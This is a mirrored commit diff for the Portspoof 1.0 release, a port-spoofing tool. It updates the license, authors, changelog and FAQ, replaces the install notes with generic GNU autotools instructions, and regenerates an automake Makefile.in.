mirror of
https://github.com/drk1wi/portspoof.git
synced 2024-07-01 03:01:43 +00:00
Version 1.0
1.0 - 01/08/2013 - Linux * Major release. * Ported to C++. * Example NMAP domino-enum-password NSE, McAffe UTF7 XSS, etc. exploits added . * Fuzzer functionality added. * Many minor improvements and enhancements have been made.
This commit is contained in:
parent
b867a2aa3c
commit
0634acd888
@ -1,6 +0,0 @@
|
||||
language: c
|
||||
compiler:
|
||||
- gcc
|
||||
- clang
|
||||
# Change this to your needs
|
||||
script: ./configure && make
|
6
AUTHORS
Normal file → Executable file
6
AUTHORS
Normal file → Executable file
@ -1,4 +1,4 @@
|
||||
Portspoof author:
|
||||
The Portspoof author:
|
||||
|
||||
Piotr Duszyński <piotr@duszynski.eu>
|
||||
Twitter: @drk1iwi
|
||||
Piotr Duszyński piotr[at]duszynski.eu
|
||||
Twitter: @drk1wi
|
||||
|
65
COPYING
Normal file → Executable file
65
COPYING
Normal file → Executable file
@ -1,31 +1,34 @@
|
||||
Portspoof license (see COPYRIGHT.GPL for detailed GPL conditions)
|
||||
|
||||
Copyright (C) 2012 Piotr Duszyński
|
||||
|
||||
This program is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free Software
|
||||
Foundation; either version 2 of the License, or (at your option) any later
|
||||
version.
|
||||
|
||||
This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along with
|
||||
this program; if not, see <http://www.gnu.org/licenses>.
|
||||
|
||||
Linking portspoof statically or dynamically with other modules is making
|
||||
a combined work based on portspoof. Thus, the terms and conditions of the
|
||||
GNU General Public License cover the whole combination.
|
||||
|
||||
In addition, as a special exception, the copyright holder of portspoof gives you
|
||||
permission to combine portspoof with free software programs or libraries that
|
||||
are released under the GNU LGPL. You may copy and distribute such a system following the
|
||||
terms of the GNU GPL for portspoof and the licenses of the other code concerned.
|
||||
|
||||
Note that people who make modified versions of portspoof are not obligated to
|
||||
grant this special exception for their modified versions; it is their choice
|
||||
whether to do so. The GNU General Public License gives permission to release
|
||||
a modified version without this exception; this exception also makes it
|
||||
possible to release a modified version which carries forward this exception.
|
||||
|
||||
/*
|
||||
* Portspoof - Service Signature Emulator / Exploitation Framework Frontend
|
||||
* Copyright (C) 2012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
* Free Software Foundation; either version 2 of the License, or (at your
|
||||
* option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
* See the GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||
*
|
||||
* Linking portspoof statically or dynamically with other modules is making
|
||||
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||
* the GNU General Public License cover the whole combination.
|
||||
*
|
||||
* In addition, as a special exception, the copyright holder of Portspoof
|
||||
* gives you permission to combine Portspoof with free software programs or
|
||||
* libraries that are released under the GNU LGPL. You may copy
|
||||
* and distribute such a system following the terms of the GNU GPL for
|
||||
* Portspoof and the licenses of the other code concerned.
|
||||
*
|
||||
* Note that people who make modified versions of Portspoof are not obligated
|
||||
* to grant this special exception for their modified versions; it is their
|
||||
* choice whether to do so. The GNU General Public License gives permission
|
||||
* to release a modified version without this exception; this exception
|
||||
* also makes it possible to release a modified version which carries
|
||||
* forward this exception.
|
||||
*/
|
||||
|
0
COPYRIGHT.GPL
Normal file → Executable file
0
COPYRIGHT.GPL
Normal file → Executable file
7
ChangeLog
Normal file → Executable file
7
ChangeLog
Normal file → Executable file
@ -1,3 +1,10 @@
|
||||
1.0 - 01/08/2013 - Linux
|
||||
* Major release.
|
||||
* Ported to C++.
|
||||
* Example NMAP domino-enum-password NSE, McAffe UTF7 XSS, etc. exploits added .
|
||||
* Fuzzer functionality added.
|
||||
* Many minor improvements and enhancements have been made.
|
||||
|
||||
0.3 28/09/2012
|
||||
* Configuration file
|
||||
* Droppped BSD support due to time constraints
|
||||
|
4
FAQ
Normal file → Executable file
4
FAQ
Normal file → Executable file
@ -1,2 +1,6 @@
|
||||
1. I have found a bug where should I report it?
|
||||
|
||||
portspoof.org mailing list ( http://portspoof.org/cgi-bin/mailman/listinfo/portspoof-users )
|
||||
|
||||
piotr [at] duszynski.eu
|
||||
|
||||
|
373
INSTALL
373
INSTALL
@ -1,26 +1,365 @@
|
||||
Portspoof Unix install notes
|
||||
Installation Instructions
|
||||
*************************
|
||||
|
||||
1. Compile the software:
|
||||
Copyright (C) 1994, 1995, 1996, 1999, 2000, 2001, 2002, 2004, 2005,
|
||||
2006, 2007, 2008, 2009 Free Software Foundation, Inc.
|
||||
|
||||
./configure
|
||||
make
|
||||
make install
|
||||
Copying and distribution of this file, with or without modification,
|
||||
are permitted in any medium without royalty provided the copyright
|
||||
notice and this notice are preserved. This file is offered as-is,
|
||||
without warranty of any kind.
|
||||
|
||||
2. Configure your firewall rules:
|
||||
Basic Installation
|
||||
==================
|
||||
|
||||
Linux :
|
||||
Briefly, the shell commands `./configure; make; make install' should
|
||||
configure, build, and install this package. The following
|
||||
more-detailed instructions are generic; see the `README' file for
|
||||
instructions specific to this package. Some packages provide this
|
||||
`INSTALL' file but do not implement all of the features documented
|
||||
below. The lack of an optional feature in a given package is not
|
||||
necessarily a bug. More recommendations for GNU packages can be found
|
||||
in *note Makefile Conventions: (standards)Makefile Conventions.
|
||||
|
||||
# iptables -A PREROUTING -i eth0 -p tcp -m tcp --dport 8080:10000 -j REDIRECT --to-ports 4444
|
||||
Portspoof by default will listen on port ALL_INTERFACES:4444
|
||||
This FW rules will result in service obfuscation for port range from 8080 to 10000
|
||||
$ ./portspoof.
|
||||
The `configure' shell script attempts to guess correct values for
|
||||
various system-dependent variables used during compilation. It uses
|
||||
those values to create a `Makefile' in each directory of the package.
|
||||
It may also create one or more `.h' files containing system-dependent
|
||||
definitions. Finally, it creates a shell script `config.status' that
|
||||
you can run in the future to recreate the current configuration, and a
|
||||
file `config.log' containing compiler output (useful mainly for
|
||||
debugging `configure').
|
||||
|
||||
BSD :
|
||||
It can also use an optional file (typically called `config.cache'
|
||||
and enabled with `--cache-file=config.cache' or simply `-C') that saves
|
||||
the results of its tests to speed up reconfiguring. Caching is
|
||||
disabled by default to prevent problems with accidental use of stale
|
||||
cache files.
|
||||
|
||||
$ ulimit -n 512
|
||||
$ pass in on em0 inet proto tcp from any to any port 5000:5500 flags S/SA rdr-to 127.0.0.1 port 4444
|
||||
$ ./portspoof
|
||||
If you need to do unusual things to compile the package, please try
|
||||
to figure out how `configure' could check whether to do them, and mail
|
||||
diffs or instructions to the address given in the `README' so they can
|
||||
be considered for the next release. If you are using the cache, and at
|
||||
some point `config.cache' contains results you don't want to keep, you
|
||||
may remove or edit it.
|
||||
|
||||
3. Add portspoof invocation to your system's startup scripts.
|
||||
The file `configure.ac' (or `configure.in') is used to create
|
||||
`configure' by a program called `autoconf'. You need `configure.ac' if
|
||||
you want to change it or regenerate `configure' using a newer version
|
||||
of `autoconf'.
|
||||
|
||||
The simplest way to compile this package is:
|
||||
|
||||
1. `cd' to the directory containing the package's source code and type
|
||||
`./configure' to configure the package for your system.
|
||||
|
||||
Running `configure' might take a while. While running, it prints
|
||||
some messages telling which features it is checking for.
|
||||
|
||||
2. Type `make' to compile the package.
|
||||
|
||||
3. Optionally, type `make check' to run any self-tests that come with
|
||||
the package, generally using the just-built uninstalled binaries.
|
||||
|
||||
4. Type `make install' to install the programs and any data files and
|
||||
documentation. When installing into a prefix owned by root, it is
|
||||
recommended that the package be configured and built as a regular
|
||||
user, and only the `make install' phase executed with root
|
||||
privileges.
|
||||
|
||||
5. Optionally, type `make installcheck' to repeat any self-tests, but
|
||||
this time using the binaries in their final installed location.
|
||||
This target does not install anything. Running this target as a
|
||||
regular user, particularly if the prior `make install' required
|
||||
root privileges, verifies that the installation completed
|
||||
correctly.
|
||||
|
||||
6. You can remove the program binaries and object files from the
|
||||
source code directory by typing `make clean'. To also remove the
|
||||
files that `configure' created (so you can compile the package for
|
||||
a different kind of computer), type `make distclean'. There is
|
||||
also a `make maintainer-clean' target, but that is intended mainly
|
||||
for the package's developers. If you use it, you may have to get
|
||||
all sorts of other programs in order to regenerate files that came
|
||||
with the distribution.
|
||||
|
||||
7. Often, you can also type `make uninstall' to remove the installed
|
||||
files again. In practice, not all packages have tested that
|
||||
uninstallation works correctly, even though it is required by the
|
||||
GNU Coding Standards.
|
||||
|
||||
8. Some packages, particularly those that use Automake, provide `make
|
||||
distcheck', which can by used by developers to test that all other
|
||||
targets like `make install' and `make uninstall' work correctly.
|
||||
This target is generally not run by end users.
|
||||
|
||||
Compilers and Options
|
||||
=====================
|
||||
|
||||
Some systems require unusual options for compilation or linking that
|
||||
the `configure' script does not know about. Run `./configure --help'
|
||||
for details on some of the pertinent environment variables.
|
||||
|
||||
You can give `configure' initial values for configuration parameters
|
||||
by setting variables in the command line or in the environment. Here
|
||||
is an example:
|
||||
|
||||
./configure CC=c99 CFLAGS=-g LIBS=-lposix
|
||||
|
||||
*Note Defining Variables::, for more details.
|
||||
|
||||
Compiling For Multiple Architectures
|
||||
====================================
|
||||
|
||||
You can compile the package for more than one kind of computer at the
|
||||
same time, by placing the object files for each architecture in their
|
||||
own directory. To do this, you can use GNU `make'. `cd' to the
|
||||
directory where you want the object files and executables to go and run
|
||||
the `configure' script. `configure' automatically checks for the
|
||||
source code in the directory that `configure' is in and in `..'. This
|
||||
is known as a "VPATH" build.
|
||||
|
||||
With a non-GNU `make', it is safer to compile the package for one
|
||||
architecture at a time in the source code directory. After you have
|
||||
installed the package for one architecture, use `make distclean' before
|
||||
reconfiguring for another architecture.
|
||||
|
||||
On MacOS X 10.5 and later systems, you can create libraries and
|
||||
executables that work on multiple system types--known as "fat" or
|
||||
"universal" binaries--by specifying multiple `-arch' options to the
|
||||
compiler but only a single `-arch' option to the preprocessor. Like
|
||||
this:
|
||||
|
||||
./configure CC="gcc -arch i386 -arch x86_64 -arch ppc -arch ppc64" \
|
||||
CXX="g++ -arch i386 -arch x86_64 -arch ppc -arch ppc64" \
|
||||
CPP="gcc -E" CXXCPP="g++ -E"
|
||||
|
||||
This is not guaranteed to produce working output in all cases, you
|
||||
may have to build one architecture at a time and combine the results
|
||||
using the `lipo' tool if you have problems.
|
||||
|
||||
Installation Names
|
||||
==================
|
||||
|
||||
By default, `make install' installs the package's commands under
|
||||
`/usr/local/bin', include files under `/usr/local/include', etc. You
|
||||
can specify an installation prefix other than `/usr/local' by giving
|
||||
`configure' the option `--prefix=PREFIX', where PREFIX must be an
|
||||
absolute file name.
|
||||
|
||||
You can specify separate installation prefixes for
|
||||
architecture-specific files and architecture-independent files. If you
|
||||
pass the option `--exec-prefix=PREFIX' to `configure', the package uses
|
||||
PREFIX as the prefix for installing programs and libraries.
|
||||
Documentation and other data files still use the regular prefix.
|
||||
|
||||
In addition, if you use an unusual directory layout you can give
|
||||
options like `--bindir=DIR' to specify different values for particular
|
||||
kinds of files. Run `configure --help' for a list of the directories
|
||||
you can set and what kinds of files go in them. In general, the
|
||||
default for these options is expressed in terms of `${prefix}', so that
|
||||
specifying just `--prefix' will affect all of the other directory
|
||||
specifications that were not explicitly provided.
|
||||
|
||||
The most portable way to affect installation locations is to pass the
|
||||
correct locations to `configure'; however, many packages provide one or
|
||||
both of the following shortcuts of passing variable assignments to the
|
||||
`make install' command line to change installation locations without
|
||||
having to reconfigure or recompile.
|
||||
|
||||
The first method involves providing an override variable for each
|
||||
affected directory. For example, `make install
|
||||
prefix=/alternate/directory' will choose an alternate location for all
|
||||
directory configuration variables that were expressed in terms of
|
||||
`${prefix}'. Any directories that were specified during `configure',
|
||||
but not in terms of `${prefix}', must each be overridden at install
|
||||
time for the entire installation to be relocated. The approach of
|
||||
makefile variable overrides for each directory variable is required by
|
||||
the GNU Coding Standards, and ideally causes no recompilation.
|
||||
However, some platforms have known limitations with the semantics of
|
||||
shared libraries that end up requiring recompilation when using this
|
||||
method, particularly noticeable in packages that use GNU Libtool.
|
||||
|
||||
The second method involves providing the `DESTDIR' variable. For
|
||||
example, `make install DESTDIR=/alternate/directory' will prepend
|
||||
`/alternate/directory' before all installation names. The approach of
|
||||
`DESTDIR' overrides is not required by the GNU Coding Standards, and
|
||||
does not work on platforms that have drive letters. On the other hand,
|
||||
it does better at avoiding recompilation issues, and works well even
|
||||
when some directory options were not specified in terms of `${prefix}'
|
||||
at `configure' time.
|
||||
|
||||
Optional Features
|
||||
=================
|
||||
|
||||
If the package supports it, you can cause programs to be installed
|
||||
with an extra prefix or suffix on their names by giving `configure' the
|
||||
option `--program-prefix=PREFIX' or `--program-suffix=SUFFIX'.
|
||||
|
||||
Some packages pay attention to `--enable-FEATURE' options to
|
||||
`configure', where FEATURE indicates an optional part of the package.
|
||||
They may also pay attention to `--with-PACKAGE' options, where PACKAGE
|
||||
is something like `gnu-as' or `x' (for the X Window System). The
|
||||
`README' should mention any `--enable-' and `--with-' options that the
|
||||
package recognizes.
|
||||
|
||||
For packages that use the X Window System, `configure' can usually
|
||||
find the X include and library files automatically, but if it doesn't,
|
||||
you can use the `configure' options `--x-includes=DIR' and
|
||||
`--x-libraries=DIR' to specify their locations.
|
||||
|
||||
Some packages offer the ability to configure how verbose the
|
||||
execution of `make' will be. For these packages, running `./configure
|
||||
--enable-silent-rules' sets the default to minimal output, which can be
|
||||
overridden with `make V=1'; while running `./configure
|
||||
--disable-silent-rules' sets the default to verbose, which can be
|
||||
overridden with `make V=0'.
|
||||
|
||||
Particular systems
|
||||
==================
|
||||
|
||||
On HP-UX, the default C compiler is not ANSI C compatible. If GNU
|
||||
CC is not installed, it is recommended to use the following options in
|
||||
order to use an ANSI C compiler:
|
||||
|
||||
./configure CC="cc -Ae -D_XOPEN_SOURCE=500"
|
||||
|
||||
and if that doesn't work, install pre-built binaries of GCC for HP-UX.
|
||||
|
||||
On OSF/1 a.k.a. Tru64, some versions of the default C compiler cannot
|
||||
parse its `<wchar.h>' header file. The option `-nodtk' can be used as
|
||||
a workaround. If GNU CC is not installed, it is therefore recommended
|
||||
to try
|
||||
|
||||
./configure CC="cc"
|
||||
|
||||
and if that doesn't work, try
|
||||
|
||||
./configure CC="cc -nodtk"
|
||||
|
||||
On Solaris, don't put `/usr/ucb' early in your `PATH'. This
|
||||
directory contains several dysfunctional programs; working variants of
|
||||
these programs are available in `/usr/bin'. So, if you need `/usr/ucb'
|
||||
in your `PATH', put it _after_ `/usr/bin'.
|
||||
|
||||
On Haiku, software installed for all users goes in `/boot/common',
|
||||
not `/usr/local'. It is recommended to use the following options:
|
||||
|
||||
./configure --prefix=/boot/common
|
||||
|
||||
Specifying the System Type
|
||||
==========================
|
||||
|
||||
There may be some features `configure' cannot figure out
|
||||
automatically, but needs to determine by the type of machine the package
|
||||
will run on. Usually, assuming the package is built to be run on the
|
||||
_same_ architectures, `configure' can figure that out, but if it prints
|
||||
a message saying it cannot guess the machine type, give it the
|
||||
`--build=TYPE' option. TYPE can either be a short name for the system
|
||||
type, such as `sun4', or a canonical name which has the form:
|
||||
|
||||
CPU-COMPANY-SYSTEM
|
||||
|
||||
where SYSTEM can have one of these forms:
|
||||
|
||||
OS
|
||||
KERNEL-OS
|
||||
|
||||
See the file `config.sub' for the possible values of each field. If
|
||||
`config.sub' isn't included in this package, then this package doesn't
|
||||
need to know the machine type.
|
||||
|
||||
If you are _building_ compiler tools for cross-compiling, you should
|
||||
use the option `--target=TYPE' to select the type of system they will
|
||||
produce code for.
|
||||
|
||||
If you want to _use_ a cross compiler, that generates code for a
|
||||
platform different from the build platform, you should specify the
|
||||
"host" platform (i.e., that on which the generated programs will
|
||||
eventually be run) with `--host=TYPE'.
|
||||
|
||||
Sharing Defaults
|
||||
================
|
||||
|
||||
If you want to set default values for `configure' scripts to share,
|
||||
you can create a site shell script called `config.site' that gives
|
||||
default values for variables like `CC', `cache_file', and `prefix'.
|
||||
`configure' looks for `PREFIX/share/config.site' if it exists, then
|
||||
`PREFIX/etc/config.site' if it exists. Or, you can set the
|
||||
`CONFIG_SITE' environment variable to the location of the site script.
|
||||
A warning: not all `configure' scripts look for a site script.
|
||||
|
||||
Defining Variables
|
||||
==================
|
||||
|
||||
Variables not defined in a site shell script can be set in the
|
||||
environment passed to `configure'. However, some packages may run
|
||||
configure again during the build, and the customized values of these
|
||||
variables may be lost. In order to avoid this problem, you should set
|
||||
them in the `configure' command line, using `VAR=value'. For example:
|
||||
|
||||
./configure CC=/usr/local2/bin/gcc
|
||||
|
||||
causes the specified `gcc' to be used as the C compiler (unless it is
|
||||
overridden in the site shell script).
|
||||
|
||||
Unfortunately, this technique does not work for `CONFIG_SHELL' due to
|
||||
an Autoconf bug. Until the bug is fixed you can use this workaround:
|
||||
|
||||
CONFIG_SHELL=/bin/bash /bin/bash ./configure CONFIG_SHELL=/bin/bash
|
||||
|
||||
`configure' Invocation
|
||||
======================
|
||||
|
||||
`configure' recognizes the following options to control how it
|
||||
operates.
|
||||
|
||||
`--help'
|
||||
`-h'
|
||||
Print a summary of all of the options to `configure', and exit.
|
||||
|
||||
`--help=short'
|
||||
`--help=recursive'
|
||||
Print a summary of the options unique to this package's
|
||||
`configure', and exit. The `short' variant lists options used
|
||||
only in the top level, while the `recursive' variant lists options
|
||||
also present in any nested packages.
|
||||
|
||||
`--version'
|
||||
`-V'
|
||||
Print the version of Autoconf used to generate the `configure'
|
||||
script, and exit.
|
||||
|
||||
`--cache-file=FILE'
|
||||
Enable the cache: use and save the results of the tests in FILE,
|
||||
traditionally `config.cache'. FILE defaults to `/dev/null' to
|
||||
disable caching.
|
||||
|
||||
`--config-cache'
|
||||
`-C'
|
||||
Alias for `--cache-file=config.cache'.
|
||||
|
||||
`--quiet'
|
||||
`--silent'
|
||||
`-q'
|
||||
Do not print messages saying which checks are being made. To
|
||||
suppress all normal output, redirect it to `/dev/null' (any error
|
||||
messages will still be shown).
|
||||
|
||||
`--srcdir=DIR'
|
||||
Look for the package's source code in directory DIR. Usually
|
||||
`configure' can determine that directory automatically.
|
||||
|
||||
`--prefix=DIR'
|
||||
Use DIR as the installation prefix. *note Installation Names::
|
||||
for more details, including other options available for fine-tuning
|
||||
the installation locations.
|
||||
|
||||
`--no-create'
|
||||
`-n'
|
||||
Run the configure checks, but stop before creating any output
|
||||
files.
|
||||
|
||||
`configure' also accepts some other, not widely useful, options. Run
|
||||
`configure --help' for more details.
|
||||
|
||||
Modify other relevant startup scripts.
|
||||
|
0
Makefile.am
Normal file → Executable file
0
Makefile.am
Normal file → Executable file
203
Makefile.in
203
Makefile.in
@ -1,8 +1,9 @@
|
||||
# Makefile.in generated by automake 1.10 from Makefile.am.
|
||||
# Makefile.in generated by automake 1.11.1 from Makefile.am.
|
||||
# @configure_input@
|
||||
|
||||
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
|
||||
# 2003, 2004, 2005, 2006 Free Software Foundation, Inc.
|
||||
# 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation,
|
||||
# Inc.
|
||||
# This Makefile.in is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy and/or distribute it,
|
||||
# with or without modifications, as long as this notice is preserved.
|
||||
@ -15,8 +16,9 @@
|
||||
@SET_MAKE@
|
||||
VPATH = @srcdir@
|
||||
pkgdatadir = $(datadir)/@PACKAGE@
|
||||
pkglibdir = $(libdir)/@PACKAGE@
|
||||
pkgincludedir = $(includedir)/@PACKAGE@
|
||||
pkglibdir = $(libdir)/@PACKAGE@
|
||||
pkglibexecdir = $(libexecdir)/@PACKAGE@
|
||||
am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
|
||||
install_sh_DATA = $(install_sh) -c -m 644
|
||||
install_sh_PROGRAM = $(install_sh) -c
|
||||
@ -34,7 +36,7 @@ host_triplet = @host@
|
||||
subdir = .
|
||||
DIST_COMMON = README $(am__configure_deps) $(srcdir)/Makefile.am \
|
||||
$(srcdir)/Makefile.in $(top_srcdir)/configure AUTHORS COPYING \
|
||||
ChangeLog INSTALL NEWS TODO auto/compile auto/config.guess \
|
||||
ChangeLog INSTALL NEWS auto/compile auto/config.guess \
|
||||
auto/config.sub auto/depcomp auto/install-sh auto/missing
|
||||
ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
|
||||
am__aclocal_m4_deps = $(top_srcdir)/configure.in
|
||||
@ -45,6 +47,7 @@ am__CONFIG_DISTCLEAN_FILES = config.status config.cache config.log \
|
||||
mkinstalldirs = $(install_sh) -d
|
||||
CONFIG_HEADER = $(top_builddir)/src/config.h
|
||||
CONFIG_CLEAN_FILES =
|
||||
CONFIG_CLEAN_VPATH_FILES =
|
||||
SOURCES =
|
||||
DIST_SOURCES =
|
||||
RECURSIVE_TARGETS = all-recursive check-recursive dvi-recursive \
|
||||
@ -56,6 +59,9 @@ RECURSIVE_TARGETS = all-recursive check-recursive dvi-recursive \
|
||||
ps-recursive uninstall-recursive
|
||||
RECURSIVE_CLEAN_TARGETS = mostlyclean-recursive clean-recursive \
|
||||
distclean-recursive maintainer-clean-recursive
|
||||
AM_RECURSIVE_TARGETS = $(RECURSIVE_TARGETS:-recursive=) \
|
||||
$(RECURSIVE_CLEAN_TARGETS:-recursive=) tags TAGS ctags CTAGS \
|
||||
distdir dist dist-all distcheck
|
||||
ETAGS = etags
|
||||
CTAGS = ctags
|
||||
DIST_SUBDIRS = $(SUBDIRS)
|
||||
@ -63,9 +69,34 @@ DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
|
||||
distdir = $(PACKAGE)-$(VERSION)
|
||||
top_distdir = $(distdir)
|
||||
am__remove_distdir = \
|
||||
{ test ! -d $(distdir) \
|
||||
|| { find $(distdir) -type d ! -perm -200 -exec chmod u+w {} ';' \
|
||||
&& rm -fr $(distdir); }; }
|
||||
{ test ! -d "$(distdir)" \
|
||||
|| { find "$(distdir)" -type d ! -perm -200 -exec chmod u+w {} ';' \
|
||||
&& rm -fr "$(distdir)"; }; }
|
||||
am__relativize = \
|
||||
dir0=`pwd`; \
|
||||
sed_first='s,^\([^/]*\)/.*$$,\1,'; \
|
||||
sed_rest='s,^[^/]*/*,,'; \
|
||||
sed_last='s,^.*/\([^/]*\)$$,\1,'; \
|
||||
sed_butlast='s,/*[^/]*$$,,'; \
|
||||
while test -n "$$dir1"; do \
|
||||
first=`echo "$$dir1" | sed -e "$$sed_first"`; \
|
||||
if test "$$first" != "."; then \
|
||||
if test "$$first" = ".."; then \
|
||||
dir2=`echo "$$dir0" | sed -e "$$sed_last"`/"$$dir2"; \
|
||||
dir0=`echo "$$dir0" | sed -e "$$sed_butlast"`; \
|
||||
else \
|
||||
first2=`echo "$$dir2" | sed -e "$$sed_first"`; \
|
||||
if test "$$first2" = "$$first"; then \
|
||||
dir2=`echo "$$dir2" | sed -e "$$sed_rest"`; \
|
||||
else \
|
||||
dir2="../$$dir2"; \
|
||||
fi; \
|
||||
dir0="$$dir0"/"$$first"; \
|
||||
fi; \
|
||||
fi; \
|
||||
dir1=`echo "$$dir1" | sed -e "$$sed_rest"`; \
|
||||
done; \
|
||||
reldir="$$dir2"
|
||||
DIST_ARCHIVES = $(distdir).tar.gz
|
||||
GZIP_ENV = --best
|
||||
distuninstallcheck_listfiles = find . -type f -print
|
||||
@ -80,6 +111,9 @@ CCDEPMODE = @CCDEPMODE@
|
||||
CFLAGS = @CFLAGS@
|
||||
CPP = @CPP@
|
||||
CPPFLAGS = @CPPFLAGS@
|
||||
CXX = @CXX@
|
||||
CXXDEPMODE = @CXXDEPMODE@
|
||||
CXXFLAGS = @CXXFLAGS@
|
||||
CYGPATH_W = @CYGPATH_W@
|
||||
DEFS = @DEFS@
|
||||
DEPDIR = @DEPDIR@
|
||||
@ -106,6 +140,7 @@ PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
|
||||
PACKAGE_NAME = @PACKAGE_NAME@
|
||||
PACKAGE_STRING = @PACKAGE_STRING@
|
||||
PACKAGE_TARNAME = @PACKAGE_TARNAME@
|
||||
PACKAGE_URL = @PACKAGE_URL@
|
||||
PACKAGE_VERSION = @PACKAGE_VERSION@
|
||||
PATH_SEPARATOR = @PATH_SEPARATOR@
|
||||
SET_MAKE = @SET_MAKE@
|
||||
@ -117,6 +152,7 @@ abs_srcdir = @abs_srcdir@
|
||||
abs_top_builddir = @abs_top_builddir@
|
||||
abs_top_srcdir = @abs_top_srcdir@
|
||||
ac_ct_CC = @ac_ct_CC@
|
||||
ac_ct_CXX = @ac_ct_CXX@
|
||||
am__include = @am__include@
|
||||
am__leading_dot = @am__leading_dot@
|
||||
am__quote = @am__quote@
|
||||
@ -159,6 +195,7 @@ sharedstatedir = @sharedstatedir@
|
||||
srcdir = @srcdir@
|
||||
sysconfdir = @sysconfdir@
|
||||
target_alias = @target_alias@
|
||||
top_build_prefix = @top_build_prefix@
|
||||
top_builddir = @top_builddir@
|
||||
top_srcdir = @top_srcdir@
|
||||
SUBDIRS = src tools
|
||||
@ -173,13 +210,13 @@ $(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps)
|
||||
case '$(am__configure_deps)' in \
|
||||
*$$dep*) \
|
||||
echo ' cd $(srcdir) && $(AUTOMAKE) --gnu'; \
|
||||
cd $(srcdir) && $(AUTOMAKE) --gnu \
|
||||
$(am__cd) $(srcdir) && $(AUTOMAKE) --gnu \
|
||||
&& exit 0; \
|
||||
exit 1;; \
|
||||
esac; \
|
||||
done; \
|
||||
echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu Makefile'; \
|
||||
cd $(top_srcdir) && \
|
||||
$(am__cd) $(top_srcdir) && \
|
||||
$(AUTOMAKE) --gnu Makefile
|
||||
.PRECIOUS: Makefile
|
||||
Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
|
||||
@ -196,9 +233,10 @@ $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENC
|
||||
$(SHELL) ./config.status --recheck
|
||||
|
||||
$(top_srcdir)/configure: $(am__configure_deps)
|
||||
cd $(srcdir) && $(AUTOCONF)
|
||||
$(am__cd) $(srcdir) && $(AUTOCONF)
|
||||
$(ACLOCAL_M4): $(am__aclocal_m4_deps)
|
||||
cd $(srcdir) && $(ACLOCAL) $(ACLOCAL_AMFLAGS)
|
||||
$(am__cd) $(srcdir) && $(ACLOCAL) $(ACLOCAL_AMFLAGS)
|
||||
$(am__aclocal_m4_deps):
|
||||
|
||||
# This directory's subdirectories are mostly independent; you can cd
|
||||
# into them and run `make' without going through this Makefile.
|
||||
@ -207,7 +245,7 @@ $(ACLOCAL_M4): $(am__aclocal_m4_deps)
|
||||
# (which will cause the Makefiles to be regenerated when you run `make');
|
||||
# (2) otherwise, pass the desired values on the `make' command line.
|
||||
$(RECURSIVE_TARGETS):
|
||||
@failcom='exit 1'; \
|
||||
@fail= failcom='exit 1'; \
|
||||
for f in x $$MAKEFLAGS; do \
|
||||
case $$f in \
|
||||
*=* | --[!k]*);; \
|
||||
@ -224,7 +262,7 @@ $(RECURSIVE_TARGETS):
|
||||
else \
|
||||
local_target="$$target"; \
|
||||
fi; \
|
||||
(cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
|
||||
($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
|
||||
|| eval $$failcom; \
|
||||
done; \
|
||||
if test "$$dot_seen" = "no"; then \
|
||||
@ -232,7 +270,7 @@ $(RECURSIVE_TARGETS):
|
||||
fi; test -z "$$fail"
|
||||
|
||||
$(RECURSIVE_CLEAN_TARGETS):
|
||||
@failcom='exit 1'; \
|
||||
@fail= failcom='exit 1'; \
|
||||
for f in x $$MAKEFLAGS; do \
|
||||
case $$f in \
|
||||
*=* | --[!k]*);; \
|
||||
@ -258,16 +296,16 @@ $(RECURSIVE_CLEAN_TARGETS):
|
||||
else \
|
||||
local_target="$$target"; \
|
||||
fi; \
|
||||
(cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
|
||||
($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
|
||||
|| eval $$failcom; \
|
||||
done && test -z "$$fail"
|
||||
tags-recursive:
|
||||
list='$(SUBDIRS)'; for subdir in $$list; do \
|
||||
test "$$subdir" = . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) tags); \
|
||||
test "$$subdir" = . || ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) tags); \
|
||||
done
|
||||
ctags-recursive:
|
||||
list='$(SUBDIRS)'; for subdir in $$list; do \
|
||||
test "$$subdir" = . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) ctags); \
|
||||
test "$$subdir" = . || ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) ctags); \
|
||||
done
|
||||
|
||||
ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
|
||||
@ -275,14 +313,14 @@ ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
|
||||
unique=`for i in $$list; do \
|
||||
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
|
||||
done | \
|
||||
$(AWK) ' { files[$$0] = 1; } \
|
||||
